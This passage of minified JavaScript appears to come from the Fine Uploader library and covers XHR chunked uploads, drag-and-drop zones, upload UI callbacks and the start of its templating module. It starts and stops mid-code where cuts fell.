u.complete(t,n._createXhr(t),d(t),e.customHeaders.get(t)).then(function(e){i.success(f(!1,e),e)},function(e){i.failure(f(!1,e),e)}),i},m=function(t,n,a,l){var u=new FormData,c=e.method,d=e.endpointStore.get(l),p=i(l),h=o(l);return t[e.uuidName]=r(l),t[e.filenameParam]=p,s&&(t[e.totalFileSizeName]=h),e.paramsInBody||(s||(t[e.inputName]=p),d=qq.obj2url(t,d)),n.open(c,d,!0),e.cors.expected&&e.cors.sendCredentials&&(n.withCredentials=!0),s?(e.paramsInBody&&qq.obj2FormData(t,u),u.append(e.inputName,a),u):a},g=function(t,i){var o=e.customHeaders.get(t),r=n.getFile(t);i.setRequestHeader("Accept","application/json"),i.setRequestHeader("X-Requested-With","XMLHttpRequest"),i.setRequestHeader("Cache-Control","no-cache"),s||(i.setRequestHeader("Content-Type","application/octet-stream"),i.setRequestHeader("X-Mime-Type",r.type)),qq.each(o,function(e,t){i.setRequestHeader(e,t)})};qq.extend(this,{uploadChunk:function(t,i,r){var a,s,u,d=n._getChunkData(t,i),p=n._createXhr(t,i);o(t);return a=c(t,p),n._registerProgressHandler(t,i,d.size),u=e.paramsStore.get(t),l(t,u,d),r&&(u[e.resume.paramNames.resuming]=!0),s=m(u,p,d.blob,t),g(t,p),p.send(s),a},uploadFile:function(t){var i,o,r,a,s=n.getFile(t);return o=n._createXhr(t),n._registerProgressHandler(t),i=c(t,o),r=e.paramsStore.get(t),a=m(r,o,s,t),g(t,o),o.send(a),i}}),qq.extend(this,new qq.XhrUploadHandler({options:qq.extend({namespace:"traditional"},e),proxy:qq.extend({getEndpoint:e.endpointStore.get},t)})),qq.override(this,function(t){return{finalizeChunks:function(n){return e.chunking.success.endpoint?q(n):t.finalizeChunks(n,qq.bind(f,this,!0))}}})},qq.traditional.AllChunksDoneAjaxRequester=function(e){"use strict";var t,n="POST",i={cors:{allowXdr:!1,expected:!1,sendCredentials:!1},endpoint:null,log:function(e,t){}},o={},r={get:function(e){return i.endpoint}};qq.extend(i,e),t=qq.extend(this,new qq.AjaxRequester({acceptHeader:"application/json",validMethods:[n],method:n,endpointStore:r,allowXRequestedWithAndCacheControl:!1,cors:i.cors,log:i.log,onComplete:function(e,t,n){var i=o[e];delete o[e],n?i.failure(t):i.success(t)}})),qq.extend(this,{complete:function(e,n,r,a){var s=new qq.Promise;return i.log("Submitting All Chunks Done request for "+e),o[e]=s,t.initTransport(e).withParams(r).withHeaders(a).send(n),s}})},qq.DragAndDrop=function(e){"use strict";function t(e,t){var n=Array.prototype.slice.call(e);u.callbacks.dropLog("Grabbed "+e.length+" dropped files."),t.dropDisabled(!1),u.callbacks.processingDroppedFilesComplete(n,t.getElement())}function n(e){var t=new qq.Promise;return e.isFile?e.file(function(n){var i=e.name,o=e.fullPath,r=o.indexOf(i);o=o.substr(0,r),"/"===o.charAt(0)&&(o=o.substr(1)),n.qqPath=o,h.push(n),t.success()},function(n){u.callbacks.dropLog("Problem parsing '"+e.fullPath+"'.  FileError code "+n.code+".","error"),t.failure()}):e.isDirectory&&i(e).then(function(e){var i=e.length;qq.each(e,function(e,o){n(o).done(function(){i-=1,0===i&&t.success()})}),e.length||t.success()},function(n){u.callbacks.dropLog("Problem parsing '"+e.fullPath+"'.  FileError code "+n.code+".","error"),t.failure()}),t}function i(e,t,n,o){var r=o||new qq.Promise,a=t||e.createReader();return a.readEntries(function(t){var o=n?n.concat(t):t;t.length?setTimeout(function(){i(e,a,o,r)},0):r.success(o)},r.failure),r}function o(e,t){var i=[],o=new qq.Promise;return u.callbacks.processingDroppedFiles(),t.dropDisabled(!0),e.files.length>1&&!u.allowMultipleItems?(u.callbacks.processingDroppedFilesComplete([]),u.callbacks.dropError("tooManyFilesError",""),t.dropDisabled(!1),o.failure()):(h=[],qq.isFolderDropSupported(e)?qq.each(e.items,function(e,t){var r=t.webkitGetAsEntry();r&&(r.isFile?h.push(t.getAsFile()):i.push(n(r).done(function(){i.pop(),0===i.length&&o.success()})))}):h=e.files,0===i.length&&o.success()),o}function r(e){var n=new qq.UploadDropZone({HIDE_ZONES_EVENT_NAME:c,element:e,onEnter:function(t){qq(e).addClass(u.classes.dropActive),t.stopPropagation()},onLeaveNotDescendants:function(t){qq(e).removeClass(u.classes.dropActive)},onDrop:function(e){o(e.dataTransfer,n).then(function(){t(h,n)},function(){u.callbacks.dropLog("Drop event DataTransfer parsing failed.  No files will be uploaded.","error")})}});return f.addDisposer(function(){n.dispose()}),qq(e).hasAttribute(d)&&qq(e).hide(),p.push(n),n}function a(e){var t;return qq.each(e.dataTransfer.types,function(e,n){if("Files"===n)return t=!0,!1}),t}function s(e){return qq.firefox()?!e.relatedTarget:qq.safari()?e.x<0||e.y<0:0===e.x&&0===e.y}function l(){var e=u.dropZoneElements,t=function(){setTimeout(function(){qq.each(e,function(e,t){qq(t).hasAttribute(d)&&qq(t).hide(),qq(t).removeClass(u.classes.dropActive)})},10)};qq.each(e,function(t,n){var i=r(n);e.length&&qq.supportedFeatures.fileDrop&&f.attach(document,"dragenter",function(t){!i.dropDisabled()&&a(t)&&qq.each(e,function(e,t){t instanceof HTMLElement&&qq(t).hasAttribute(d)&&qq(t).css({display:"block"})})})}),f.attach(document,"dragleave",function(e){s(e)&&t()}),f.attach(qq(document).children()[0],"mouseenter",function(e){t()}),f.attach(document,"drop",function(e){e.preventDefault(),t()}),f.attach(document,c,t)}var u,c="qq-hidezones",d="qq-hide-dropzone",p=[],h=[],f=new qq.DisposeSupport;u={dropZoneElements:[],allowMultipleItems:!0,classes:{dropActive:null},callbacks:new qq.DragAndDrop.callbacks},qq.extend(u,e,!0),l(),qq.extend(this,{setupExtraDropzone:function(e){u.dropZoneElements.push(e),r(e)},removeDropzone:function(e){var t,n=u.dropZoneElements;for(t in n)if(n[t]===e)return n.splice(t,1)},dispose:function(){f.dispose(),qq.each(p,function(e,t){t.dispose()})}})},qq.DragAndDrop.callbacks=function(){"use strict";return{processingDroppedFiles:function(){},processingDroppedFilesComplete:function(e,t){},dropError:function(e,t){qq.log("Drag & drop error code '"+e+" with these specifics: '"+t+"'","error")},dropLog:function(e,t){qq.log(e,t)}}},qq.UploadDropZone=function(e){"use strict";function t(){return qq.safari()||qq.firefox()&&qq.windows()}function n(e){c||(t?d.attach(document,"dragover",function(e){e.preventDefault()}):d.attach(document,"dragover",function(e){e.dataTransfer&&(e.dataTransfer.dropEffect="none",e.preventDefault())}),c=!0)}function i(e){if(!qq.supportedFeatures.fileDrop)return!1;var t,n=e.dataTransfer,i=qq.safari();return t=!(!qq.ie()||!qq.supportedFeatures.fileDrop)||"none"!==n.effectAllowed,n&&t&&(n.files||!i&&n.types.contains&&n.types.contains("Files"))}function o(e){return void 0!==e&&(u=e),u}function r(){function e(){t=document.createEvent("Event"),t.initEvent(s.HIDE_ZONES_EVENT_NAME,!0,!0)}var t;if(window.CustomEvent)try{t=new CustomEvent(s.HIDE_ZONES_EVENT_NAME)}catch(t){e()}else e();document.dispatchEvent(t)}function a(){d.attach(l,"dragover",function(e){if(i(e)){var t=qq.ie()&&qq.supportedFeatures.fileDrop?null:e.dataTransfer.effectAllowed;"move"===t||"linkMove"===t?e.dataTransfer.dropEffect="move":e.dataTransfer.dropEffect="copy",e.stopPropagation(),e.preventDefault()}}),d.attach(l,"dragenter",function(e){if(!o()){if(!i(e))return;s.onEnter(e)}}),d.attach(l,"dragleave",function(e){if(i(e)){s.onLeave(e);var t=document.elementFromPoint(e.clientX,e.clientY);qq(this).contains(t)||s.onLeaveNotDescendants(e)}}),d.attach(l,"drop",function(e){if(!o()){if(!i(e))return;e.preventDefault(),e.stopPropagation(),s.onDrop(e),r()}})}var s,l,u,c,d=new qq.DisposeSupport;s={element:null,onEnter:function(e){},onLeave:function(e){},onLeaveNotDescendants:function(e){},onDrop:function(e){}},qq.extend(s,e),l=s.element,n(),a(),qq.extend(this,{dropDisabled:function(e){return o(e)},dispose:function(){d.dispose()},getElement:function(){return l}})},function(){"use strict";qq.uiPublicApi={addInitialFiles:function(e){this._parent.prototype.addInitialFiles.apply(this,arguments),this._templating.addCacheToDom()},clearStoredFiles:function(){this._parent.prototype.clearStoredFiles.apply(this,arguments),this._templating.clearFiles()},addExtraDropzone:function(e){this._dnd&&this._dnd.setupExtraDropzone(e)},removeExtraDropzone:function(e){if(this._dnd)return this._dnd.removeDropzone(e)},getItemByFileId:function(e){if(!this._templating.isHiddenForever(e))return this._templating.getFileContainer(e)},reset:function(){this._parent.prototype.reset.apply(this,arguments),this._templating.reset(),!this._options.button&&this._templating.getButton()&&(this._defaultButtonId=this._createUploadButton({element:this._templating.getButton(),title:this._options.text.fileInputTitle}).getButtonId()),this._dnd&&(this._dnd.dispose(),this._dnd=this._setupDragAndDrop()),this._totalFilesInBatch=0,this._filesInBatchAddedToUi=0,this._setupClickAndEditEventHandlers()},setName:function(e,t){var n=this._options.formatFileName(t);this._parent.prototype.setName.apply(this,arguments),this._templating.updateFilename(e,n)},pauseUpload:function(e){var t=this._parent.prototype.pauseUpload.apply(this,arguments);return t&&this._templating.uploadPaused(e),t},continueUpload:function(e){var t=this._parent.prototype.continueUpload.apply(this,arguments);return t&&this._templating.uploadContinued(e),t},getId:function(e){return this._templating.getFileId(e)},getDropTarget:function(e){var t=this.getFile(e);return t.qqDropTarget}},qq.uiPrivateApi={_getButton:function(e){var t=this._parent.prototype._getButton.apply(this,arguments);return t||e===this._defaultButtonId&&(t=this._templating.getButton()),t},_removeFileItem:function(e){this._templating.removeFile(e)},_setupClickAndEditEventHandlers:function(){this._fileButtonsClickHandler=qq.FileButtonsClickHandler&&this._bindFileButtonsClickEvent(),this._focusinEventSupported=!qq.firefox(),this._isEditFilenameEnabled()&&(this._filenameClickHandler=this._bindFilenameClickEvent(),this._filenameInputFocusInHandler=this._bindFilenameInputFocusInEvent(),this._filenameInputFocusHandler=this._bindFilenameInputFocusEvent())},_setupDragAndDrop:function(){var e=this,t=this._options.dragAndDrop.extraDropzones,n=this._templating,i=n.getDropZone();return i&&t.push(i),new qq.DragAndDrop({dropZoneElements:t,allowMultipleItems:this._options.multiple,classes:{dropActive:this._options.classes.dropActive},callbacks:{processingDroppedFiles:function(){n.showDropProcessing()},processingDroppedFilesComplete:function(t,i){n.hideDropProcessing(),qq.each(t,function(e,t){t.qqDropTarget=i}),t.length&&e.addFiles(t,null,null)},dropError:function(t,n){e._itemError(t,n)},dropLog:function(t,n){e.log(t,n)}}})},_bindFileButtonsClickEvent:function(){var e=this;return new qq.FileButtonsClickHandler({templating:this._templating,log:function(t,n){e.log(t,n)},onDeleteFile:function(t){e.deleteFile(t)},onCancel:function(t){e.cancel(t)},onRetry:function(t){e.retry(t)},onPause:function(t){e.pauseUpload(t)},onContinue:function(t){e.continueUpload(t)},onGetName:function(t){return e.getName(t)}})},_isEditFilenameEnabled:function(){return this._templating.isEditFilenamePossible()&&!this._options.autoUpload&&qq.FilenameClickHandler&&qq.FilenameInputFocusHandler&&qq.FilenameInputFocusHandler},_filenameEditHandler:function(){var e=this,t=this._templating;return{templating:t,log:function(t,n){e.log(t,n)},onGetUploadStatus:function(t){return e.getUploads({id:t}).status},onGetName:function(t){return e.getName(t)},onSetName:function(t,n){e.setName(t,n)},onEditingStatusChange:function(e,n){var i=qq(t.getEditInput(e)),o=qq(t.getFileContainer(e));n?(i.addClass("qq-editing"),t.hideFilename(e),t.hideEditIcon(e)):(i.removeClass("qq-editing"),t.showFilename(e),t.showEditIcon(e)),o.addClass("qq-temp").removeClass("qq-temp")}}},_onUploadStatusChange:function(e,t,n){this._parent.prototype._onUploadStatusChange.apply(this,arguments),this._isEditFilenameEnabled()&&this._templating.getFileContainer(e)&&n!==qq.status.SUBMITTED&&(this._templating.markFilenameEditable(e),this._templating.hideEditIcon(e)),n===qq.status.UPLOAD_RETRYING?(this._templating.hideRetry(e),this._templating.setStatusText(e),qq(this._templating.getFileContainer(e)).removeClass(this._classes.retrying)):n===qq.status.UPLOAD_FAILED&&this._templating.hidePause(e)},_bindFilenameInputFocusInEvent:function(){var e=qq.extend({},this._filenameEditHandler());return new qq.FilenameInputFocusInHandler(e)},_bindFilenameInputFocusEvent:function(){var e=qq.extend({},this._filenameEditHandler());return new qq.FilenameInputFocusHandler(e)},_bindFilenameClickEvent:function(){var e=qq.extend({},this._filenameEditHandler());return new qq.FilenameClickHandler(e)},_storeForLater:function(e){this._parent.prototype._storeForLater.apply(this,arguments),this._templating.hideSpinner(e)},_onAllComplete:function(e,t){this._parent.prototype._onAllComplete.apply(this,arguments),this._templating.resetTotalProgress()},_onSubmit:function(e,t){var n=this.getFile(e);n&&n.qqPath&&this._options.dragAndDrop.reportDirectoryPaths&&this._paramsStore.addReadOnly(e,{qqpath:n.qqPath}),this._parent.prototype._onSubmit.apply(this,arguments),this._addToList(e,t)},_onSubmitted:function(e){this._isEditFilenameEnabled()&&(this._templating.markFilenameEditable(e),this._templating.showEditIcon(e),this._focusinEventSupported||this._filenameInputFocusHandler.addHandler(this._templating.getEditInput(e)))},_onProgress:function(e,t,n,i){this._parent.prototype._onProgress.apply(this,arguments),this._templating.updateProgress(e,n,i),100===Math.round(n/i*100)?(this._templating.hideCancel(e),this._templating.hidePause(e),this._templating.hideProgress(e),this._templating.setStatusText(e,this._options.text.waitingForResponse),this._displayFileSize(e)):this._displayFileSize(e,n,i)},_onTotalProgress:function(e,t){this._parent.prototype._onTotalProgress.apply(this,arguments),this._templating.updateTotalProgress(e,t)},_onComplete:function(e,t,n,i){function o(t){s&&(a.setStatusText(e),qq(s).removeClass(l._classes.retrying),a.hideProgress(e),l.getUploads({id:e}).status!==qq.status.UPLOAD_FAILED&&a.hideCancel(e),a.hideSpinner(e),t.success?l._markFileAsSuccessful(e):(qq(s).addClass(l._classes.fail),a.showCancel(e),a.isRetryPossible()&&!l._preventRetries[e]&&(qq(s).addClass(l._classes.retryable),a.showRetry(e)),l._controlFailureTextDisplay(e,t)))}var r=this._parent.prototype._onComplete.apply(this,arguments),a=this._templating,s=a.getFileContainer(e),l=this;return r instanceof qq.Promise?r.done(function(e){o(e)}):o(n),r},_markFileAsSuccessful:function(e){var t=this._templating;this._isDeletePossible()&&t.showDeleteButton(e),qq(t.getFileContainer(e)).addClass(this._classes.success),this._maybeUpdateThumbnail(e)},_onUploadPrep:function(e){this._parent.prototype._onUploadPrep.apply(this,arguments),this._templating.showSpinner(e)},_onUpload:function(e,t){var n=this._parent.prototype._onUpload.apply(this,arguments);return this._templating.showSpinner(e),n},_onUploadChunk:function(e,t){this._parent.prototype._onUploadChunk.apply(this,arguments),t.partIndex>0&&this._handler.isResumable(e)&&this._templating.allowPause(e)},_onCancel:function(e,t){this._parent.prototype._onCancel.apply(this,arguments),this._removeFileItem(e),0===this._getNotFinished()&&this._templating.resetTotalProgress()},_onBeforeAutoRetry:function(e){var t,n,i;this._parent.prototype._onBeforeAutoRetry.apply(this,arguments),this._showCancelLink(e),this._options.retry.showAutoRetryNote&&(t=this._autoRetries[e],n=this._options.retry.maxAutoAttempts,i=this._options.retry.autoRetryNote.replace(/\{retryNum\}/g,t),i=i.replace(/\{maxAuto\}/g,n),this._templating.setStatusText(e,i),qq(this._templating.getFileContainer(e)).addClass(this._classes.retrying))},_onBeforeManualRetry:function(e){return this._parent.prototype._onBeforeManualRetry.apply(this,arguments)?(this._templating.resetProgress(e),qq(this._templating.getFileContainer(e)).removeClass(this._classes.fail),this._templating.setStatusText(e),this._templating.showSpinner(e),this._showCancelLink(e),!0):(qq(this._templating.getFileContainer(e)).addClass(this._classes.retryable),this._templating.showRetry(e),!1)},_onSubmitDelete:function(e){var t=qq.bind(this._onSubmitDeleteSuccess,this);this._parent.prototype._onSubmitDelete.call(this,e,t)},_onSubmitDeleteSuccess:function(e,t,n){this._options.deleteFile.forceConfirm?this._showDeleteConfirm.apply(this,arguments):this._sendDeleteRequest.apply(this,arguments)},_onDeleteComplete:function(e,t,n){this._parent.prototype._onDeleteComplete.apply(this,arguments),this._templating.hideSpinner(e),n?(this._templating.setStatusText(e,this._options.deleteFile.deletingFailedText),this._templating.showDeleteButton(e)):this._removeFileItem(e)},_sendDeleteRequest:function(e,t,n){this._templating.hideDeleteButton(e),this._templating.showSpinner(e),this._templating.setStatusText(e,this._options.deleteFile.deletingStatusText),this._deleteHandler.sendDelete.apply(this,arguments)},_showDeleteConfirm:function(e,t,n){var i,o=this.getName(e),r=this._options.deleteFile.confirmMessage.replace(/\{filename\}/g,o),a=(this.getUuid(e),arguments),s=this;i=this._options.showConfirm(r),qq.isGenericPromise(i)?i.then(function(){s._sendDeleteRequest.apply(s,a)}):i!==!1&&s._sendDeleteRequest.apply(s,a)},_addToList:function(e,t,n){var i,o,r=0,a=this._handler.isProxied(e)&&this._options.scaling.hideScaled;this._options.display.prependFiles&&(this._totalFilesInBatch>1&&this._filesInBatchAddedToUi>0&&(r=this._filesInBatchAddedToUi-1),i={index:r}),n||(this._options.disableCancelForFormUploads&&!qq.supportedFeatures.ajaxUploading&&this._templating.disableCancel(),this._options.multiple||(o=this.getUploads({id:e}),this._handledProxyGroup=this._handledProxyGroup||o.proxyGroupId,o.proxyGroupId===this._handledProxyGroup&&o.proxyGroupId||(this._handler.cancelAll(),this._clearList(),this._handledProxyGroup=null))),n?(this._templating.addFileToCache(e,this._options.formatFileName(t),i,a),this._templating.updateThumbnail(e,this._thumbnailUrls[e],!0,this._options.thumbnails.customResizer)):(this._templating.addFile(e,this._options.formatFileName(t),i,a),this._templating.generatePreview(e,this.getFile(e),this._options.thumbnails.customResizer)),this._filesInBatchAddedToUi+=1,(n||this._options.display.fileSizeOnSubmit&&qq.supportedFeatures.ajaxUploading)&&this._displayFileSize(e)},_clearList:function(){this._templating.clearFiles(),this.clearStoredFiles()},_displayFileSize:function(e,t,n){var i=this.getSize(e),o=this._formatSize(i);i>=0&&(void 0!==t&&void 0!==n&&(o=this._formatProgress(t,n)),this._templating.updateSize(e,o))},_formatProgress:function(e,t){function n(e,t){i=i.replace(e,t)}var i=this._options.text.formatProgress;return n("{percent}",Math.round(e/t*100)),n("{total_size}",this._formatSize(t)),i},_controlFailureTextDisplay:function(e,t){var n,i,o;n=this._options.failedUploadTextDisplay.mode,i=this._options.failedUploadTextDisplay.responseProperty,"custom"===n?(o=t[i],o||(o=this._options.text.failUpload),this._templating.setStatusText(e,o),this._options.failedUploadTextDisplay.enableTooltip&&this._showTooltip(e,o)):"default"===n?this._templating.setStatusText(e,this._options.text.failUpload):"none"!==n&&this.log("failedUploadTextDisplay.mode value of '"+n+"' is not valid","warn")},_showTooltip:function(e,t){this._templating.getFileContainer(e).title=t},_showCancelLink:function(e){this._options.disableCancelForFormUploads&&!qq.supportedFeatures.ajaxUploading||this._templating.showCancel(e)},_itemError:function(e,t,n){var i=this._parent.prototype._itemError.apply(this,arguments);this._options.showMessage(i)},_batchError:function(e){this._parent.prototype._batchError.apply(this,arguments),this._options.showMessage(e)},_setupPastePrompt:function(){var e=this;this._options.callbacks.onPasteReceived=function(){var t=e._options.paste.namePromptMessage,n=e._options.paste.defaultName;return e._options.showPrompt(t,n)}},_fileOrBlobRejected:function(e,t){this._totalFilesInBatch-=1,this._parent.prototype._fileOrBlobRejected.apply(this,arguments)},_prepareItemsForUpload:function(e,t,n){this._totalFilesInBatch=e.length,this._filesInBatchAddedToUi=0,this._parent.prototype._prepareItemsForUpload.apply(this,arguments)},_maybeUpdateThumbnail:function(e){var t=this._thumbnailUrls[e],n=this.getUploads({id:e}).status;n===qq.status.DELETED||!t&&!this._options.thumbnails.placeholders.waitUntilResponse&&qq.supportedFeatures.imagePreviews||this._templating.updateThumbnail(e,t,this._options.thumbnails.customResizer)},_addCannedFile:function(e){var t=this._parent.prototype._addCannedFile.apply(this,arguments);return this._addToList(t,this.getName(t),!0),this._templating.hideSpinner(t),this._templating.hideCancel(t),this._markFileAsSuccessful(t),t},_setSize:function(e,t){this._parent.prototype._setSize.apply(this,arguments),this._templating.updateSize(e,this._formatSize(t))},_sessionRequestComplete:function(){this._templating.addCacheToDom(),this._parent.prototype._sessionRequestComplete.apply(this,arguments)}}}(),qq.FineUploader=function(e,t){"use strict";var n=this;this._parent=t?qq[t].FineUploaderBasic:qq.FineUploaderBasic,this._parent.apply(this,arguments),qq.extend(this._options,{element:null,button:null,listElement:null,dragAndDrop:{extraDropzones:[],reportDirectoryPaths:!1},text:{formatProgress:"{percent}% of {total_size}",failUpload:"Upload failed",waitingForResponse:"Processing...",paused:"Paused"},template:"qq-template",classes:{retrying:"qq-upload-retrying",retryable:"qq-upload-retryable",success:"qq-upload-success",fail:"qq-upload-fail",editable:"qq-editable",hide:"qq-hide",dropActive:"qq-upload-drop-area-active"},failedUploadTextDisplay:{mode:"default",responseProperty:"error",enableTooltip:!0},messages:{tooManyFilesError:"You may only drop one file",unsupportedBrowser:"Unrecoverable error - this browser does not permit file uploading of any kind."},retry:{showAutoRetryNote:!0,autoRetryNote:"Retrying {retryNum}/{maxAuto}..."},deleteFile:{forceConfirm:!1,confirmMessage:"Are you sure you want to delete {filename}?",deletingStatusText:"Deleting...",deletingFailedText:"Delete failed"},display:{fileSizeOnSubmit:!1,prependFiles:!1},paste:{promptForName:!1,namePromptMessage:"Please name this image"},thumbnails:{customResizer:null,maxCount:0,placeholders:{waitUntilResponse:!1,notAvailablePath:null,waitingPath:null},timeBetweenThumbs:750},scaling:{hideScaled:!1},showMessage:function(e){return n._templating.hasDialog("alert")?n._templating.showDialog("alert",e):void setTimeout(function(){window.alert(e)},0)},showConfirm:function(e){return n._templating.hasDialog("confirm")?n._templating.showDialog("confirm",e):window.confirm(e)},showPrompt:function(e,t){return n._templating.hasDialog("prompt")?n._templating.showDialog("prompt",e,t):window.prompt(e,t)}},!0),qq.extend(this._options,e,!0),this._templating=new qq.Templating({log:qq.bind(this.log,this),templateIdOrEl:this._options.template,containerEl:this._options.element,fileContainerEl:this._options.listElement,button:this._options.button,imageGenerator:this._imageGenerator,classes:{hide:this._options.classes.hide,editable:this._options.classes.editable},limits:{maxThumbs:this._options.thumbnails.maxCount,timeBetweenThumbs:this._options.thumbnails.timeBetweenThumbs},placeholders:{waitUntilUpdate:this._options.thumbnails.placeholders.waitUntilResponse,thumbnailNotAvailable:this._options.thumbnails.placeholders.notAvailablePath,waitingForThumbnail:this._options.thumbnails.placeholders.waitingPath},text:this._options.text}),this._options.workarounds.ios8SafariUploads&&qq.ios800()&&qq.iosSafari()?this._templating.renderFailure(this._options.messages.unsupportedBrowserIos8Safari):!qq.supportedFeatures.uploading||this._options.cors.expected&&!qq.supportedFeatures.uploadCors?this._templating.renderFailure(this._options.messages.unsupportedBrowser):(this._wrapCallbacks(),this._templating.render(),this._classes=this._options.classes,!this._options.button&&this._templating.getButton()&&(this._defaultButtonId=this._createUploadButton({element:this._templating.getButton(),title:this._options.text.fileInputTitle}).getButtonId()),this._setupClickAndEditEventHandlers(),qq.DragAndDrop&&qq.supportedFeatures.fileDrop&&(this._dnd=this._setupDragAndDrop()),this._options.paste.targetElement&&this._options.paste.promptForName&&(qq.PasteSupport?this._setupPastePrompt():this.log("Paste support module not found.","error")),this._totalFilesInBatch=0,this._filesInBatchAddedToUi=0)},qq.extend(qq.FineUploader.prototype,qq.basePublicApi),qq.extend(qq.FineUploader.prototype,qq.basePrivateApi),qq.extend(qq.FineUploader.prototype,qq.uiPublicApi),qq.extend(qq.FineUploader.prototype,qq.uiPrivateApi),qq.Templating=function(e){"use strict";var t,n,i,o,r,a,s,l,u="qq-file-id",c="qq-file-id-",d="qq-max-size",p="qq-server-scale",h="qq-hide-dropzone",f="qq-drop-area-text",q="qq-in-progress",m="qq-hidden-forever",g={content:document.createDocumentFragment(),map:{}},_=!1,v=0,b=!1,y=[],S=-1,w={log:null,limits:{maxThumbs:0,timeBetweenThumbs:750},templateIdOrEl:"qq-template",containerEl:null,fileContainerEl:null,button:null,imageGenerator:null,classes:{hide:"qq-hide",editable:"qq-editable"},placeholders:{waitUntilUpdate:!1,thumbnailNotAvailable:null,waitingForThumbnail:null},text:{paused:"Paused"}},F={button:"qq-upload-button-selector",alertDialog:"qq-alert-dialog-selector",dialogCancelButton:"qq-cancel-button-selector",
confirmDialog:"qq-confirm-dialog-selector",dialogMessage:"qq-dialog-message-selector",dialogOkButton:"qq-ok-button-selector",promptDialog:"qq-prompt-dialog-selector",uploader:"qq-uploader-selector",drop:"qq-upload-drop-area-selector",list:"qq-upload-list-selector",progressBarContainer:"qq-progress-bar-container-selector",progressBar:"qq-progress-bar-selector",totalProgressBarContainer:"qq-total-progress-bar-container-selector",totalProgressBar:"qq-total-progress-bar-selector",file:"qq-upload-file-selector",spinner:"qq-upload-spinner-selector",size:"qq-upload-size-selector",cancel:"qq-upload-cancel-selector",pause:"qq-upload-pause-selector",continueButton:"qq-upload-continue-selector",deleteButton:"qq-upload-delete-selector",retry:"qq-upload-retry-selector",statusText:"qq-upload-status-text-selector",editFilenameInput:"qq-edit-filename-selector",editNameIcon:"qq-edit-filename-icon-selector",dropText:"qq-upload-drop-area-text-selector",dropProcessing:"qq-drop-processing-selector",dropProcessingSpinner:"qq-drop-processing-spinner-selector",thumbnail:"qq-thumbnail-selector"},x={},C=new qq.Promise,E=new qq.Promise,I=function(){var e=w.placeholders.thumbnailNotAvailable,n=w.placeholders.waitingForThumbnail,i={maxSize:S,scale:l};s&&(e?w.imageGenerator.generate(e,new Image,i).then(function(e){C.success(e)},function(){C.failure(),t("Problem loading 'not available' placeholder image at "+e,"error")}):C.failure(),n?w.imageGenerator.generate(n,new Image,i).then(function(e){E.success(e)},function(){E.failure(),t("Problem loading 'waiting for thumbnail' placeholder image at "+n,"error")}):E.failure())},P=function(e){var t=new qq.Promise;return E.then(function(n){Q(n,e),e.src?t.success():(e.src=n.src,e.onload=function(){e.onload=null,te(e),t.success()})},function(){W(e),t.success()}),t},D=function(e,n,i){var o=X(e);return t("Generating new thumbnail for "+e),n.qqThumbnailId=e,w.imageGenerator.generate(n,o,i).then(function(){v++,te(o),x[e].success()},function(){x[e].failure(),w.placeholders.waitUntilUpdate||Y(e,o)})},T=function(){if(y.length){b=!0;var e=y.shift();e.update?$(e):K(e)}else b=!1},U=function(e){return V(L(e),F.cancel)},k=function(e){return V(L(e),F.continueButton)},A=function(e){return V(r,F[e+"Dialog"])},R=function(e){return V(L(e),F.deleteButton)},B=function(){return V(r,F.dropProcessing)},N=function(e){return V(L(e),F.editNameIcon)},L=function(e){return g.map[e]||qq(a).getFirstByClass(c+e)},O=function(e){return V(L(e),F.file)},H=function(e){return V(L(e),F.pause)},z=function(e){return null==e?V(r,F.totalProgressBarContainer)||V(r,F.totalProgressBar):V(L(e),F.progressBarContainer)||V(L(e),F.progressBar)},M=function(e){return V(L(e),F.retry)},j=function(e){return V(L(e),F.size)},G=function(e){return V(L(e),F.spinner)},V=function(e,t){return e&&qq(e).getFirstByClass(t)},X=function(e){return s&&V(L(e),F.thumbnail)},W=function(e){e&&qq(e).addClass(w.classes.hide)},Q=function(e,t){var n=e.style.maxWidth,i=e.style.maxHeight;i&&n&&!t.style.maxWidth&&!t.style.maxHeight&&qq(t).css({maxWidth:n,maxHeight:i})},Y=function(e,t){var n=x[e]||(new qq.Promise).failure(),i=new qq.Promise;return C.then(function(e){n.then(function(){i.success()},function(){Q(e,t),t.onload=function(){t.onload=null,i.success()},t.src=e.src,te(t)})}),i},J=function(){var e,o,r,a,u,c,q,m,g,_,v;if(t("Parsing template"),null==w.templateIdOrEl)throw new Error("You MUST specify either a template element or ID!");if(qq.isString(w.templateIdOrEl)){if(e=document.getElementById(w.templateIdOrEl),null===e)throw new Error(qq.format("Cannot find template script at ID '{}'!",w.templateIdOrEl));o=e.innerHTML}else{if(void 0===w.templateIdOrEl.innerHTML)throw new Error("You have specified an invalid value for the template option!  It must be an ID or an Element.");o=w.templateIdOrEl.innerHTML}if(o=qq.trimStr(o),a=document.createElement("div"),a.appendChild(qq.toElement(o)),v=qq(a).getFirstByClass(F.uploader),w.button&&(c=qq(a).getFirstByClass(F.button),c&&qq(c).remove()),qq.DragAndDrop&&qq.supportedFeatures.fileDrop||(g=qq(a).getFirstByClass(F.dropProcessing),g&&qq(g).remove()),q=qq(a).getFirstByClass(F.drop),q&&!qq.DragAndDrop&&(t("DnD module unavailable.","info"),qq(q).remove()),qq.supportedFeatures.fileDrop?qq(v).hasAttribute(f)&&q&&(_=qq(q).getFirstByClass(F.dropText),_&&qq(_).remove()):(v.removeAttribute(f),q&&qq(q).hasAttribute(h)&&qq(q).css({display:"none"})),m=qq(a).getFirstByClass(F.thumbnail),s?m&&(S=parseInt(m.getAttribute(d)),S=S>0?S:null,l=qq(m).hasAttribute(p)):m&&qq(m).remove(),s=s&&m,n=qq(a).getByClass(F.editFilenameInput).length>0,i=qq(a).getByClass(F.retry).length>0,r=qq(a).getFirstByClass(F.list),null==r)throw new Error("Could not find the file list container in the template!");return u=r.innerHTML,r.innerHTML="",a.getElementsByTagName("DIALOG").length&&document.createElement("dialog"),t("Template parsing complete"),{template:qq.trimStr(a.innerHTML),fileTemplate:qq.trimStr(u)}},Z=function(e,t,n){var i=n,o=i.firstChild;t>0&&(o=qq(i).children()[t].nextSibling),i.insertBefore(e,o)},K=function(e){var t=e.id,n=e.optFileOrBlob,i=n&&n.qqThumbnailId,o=X(t),r={customResizeFunction:e.customResizeFunction,maxSize:S,orient:!0,scale:!0};qq.supportedFeatures.imagePreviews?o?w.limits.maxThumbs&&w.limits.maxThumbs<=v?(Y(t,o),T()):P(o).done(function(){x[t]=new qq.Promise,x[t].done(function(){setTimeout(T,w.limits.timeBetweenThumbs)}),null!=i?ne(t,i):D(t,n,r)}):T():o&&(P(o),T())},$=function(e){var 